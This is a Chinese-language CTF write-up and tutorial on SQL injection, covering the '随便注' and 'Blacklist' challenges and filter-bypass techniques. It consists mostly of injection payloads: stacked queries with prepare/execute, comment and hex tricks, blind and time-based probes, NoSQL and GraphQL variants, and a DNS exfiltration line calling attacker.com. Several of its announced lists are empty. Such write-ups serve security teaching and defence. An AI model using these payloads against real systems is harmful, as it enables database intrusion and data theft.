这两道CTF题目在安全圈内颇具代表性,前者是2019年强网杯的"随便注",后者是2020年GYCTF的"Blacklist"。作为Web安全领域的经典案例,它们分别展示了不同防御场景下的SQL注入突破技巧。我在实际渗透测试工作中发现,这类漏洞在企业系统中仍普遍存在。
面对任何SQL注入题目,我的标准测试流程是:
以"随便注"为例,输入单引号后得到报错信息:
code复制You have an error in your SQL syntax...
这确认了存在字符型注入漏洞。
"Blacklist"题目在防护上更为严格,经测试发现以下过滤:
当遇到关键词过滤时,可采用:
select在"Blacklist"中实测发现过滤不区分大小写,但内联注释有效:
sql复制1' /*!union*/ /*!select*/ 1,2,3--+
当information_schema被禁用时,可采用:
sql复制1' union select * from (select * from users as a join users as b)as c--+
sql复制1' and (select `2` from (select 1,2,3 union select * from users)a limit 1,1)='admin'--+
"随便注"允许堆叠查询,这是突破的关键:
sql复制1'; show tables; --
获取表名后进一步:
sql复制1'; show columns from `1919810931114514`; --
最终通过预处理执行:
sql复制1'; set @sql=concat('sel','ect flag from `1919810931114514`'); prepare stmt from @sql; execute stmt;--+
当过滤引号时,可将字符串转为16进制:
sql复制0x61646D696E /* 等价于 'admin' */
在"Blacklist"中的应用:
sql复制1' and substr(user(),1,1)=0x72--+
使用科学计数法代替空格:
sql复制1'e1(select(1))e1'1
等效于:
sql复制1' select 1 '1'
MySQL中反引号可包裹表名/列名:
sql复制select `column` from `table`
在表名是数字时尤为重要:
sql复制select * from `1919810931114514`
基于这些绕过技术,建议采用:
实际测试中的经验:
sql复制load_file(concat('\\\\',(select database()),'.attacker.com\\share'))
sql复制if(ascii(substr(user(),1,1))>100,sleep(3),0)
探测注入类型:
sql复制1' and '1'='1 // 返回正常
1' and '1'='2 // 无返回
获取表名:
sql复制1'; show tables; --
返回:
code复制1919810931114514
words
查看表结构:
sql复制1'; show columns from `1919810931114514`; --
发现flag字段
最终payload:
sql复制1'; set @sql=concat('sel','ect flag from `1919810931114514`'); prepare stmt from @sql; execute stmt;--+
sql复制1' /*!union*/ /*!select*/ 1,2,3--+
sql复制1' union select 1,table_name from mysql.innodb_table_stats--+
sql复制1' union select 1,(select group_concat(`2`) from (select 1,2 union select * from flag)a)--+
可能原因:
sql复制1' and if(ascii(substr((select database()),1,1))>100,1,0)--+
调试技巧:
sql复制/*!50000select*/ 1
sql复制set @a=0x73656c656374; prepare x from @a; execute x;
提升效率的方法:
sql复制ascii(substr((select database()),1,1))>128
sql复制(ascii(substr(user(),1,1))>>1)&1=1
sql复制{"id":"1' union select 1,2,3--"}
graphql复制{user(id:"1' union select 1,2,3--")}
javascript复制username: {$ne: null}
在真实环境中,我遇到过一个案例:系统过滤了所有空格但允许%0a,最终通过以下方式突破:
sql复制1'%0aunion%0aselect%0a1,2,3%0afrom%0ausers--+
这种不断对抗的过程正是安全研究的魅力所在。建议开发者不仅要关注标准防护方案,更要理解攻击者的思维方式,才能构建真正安全的系统。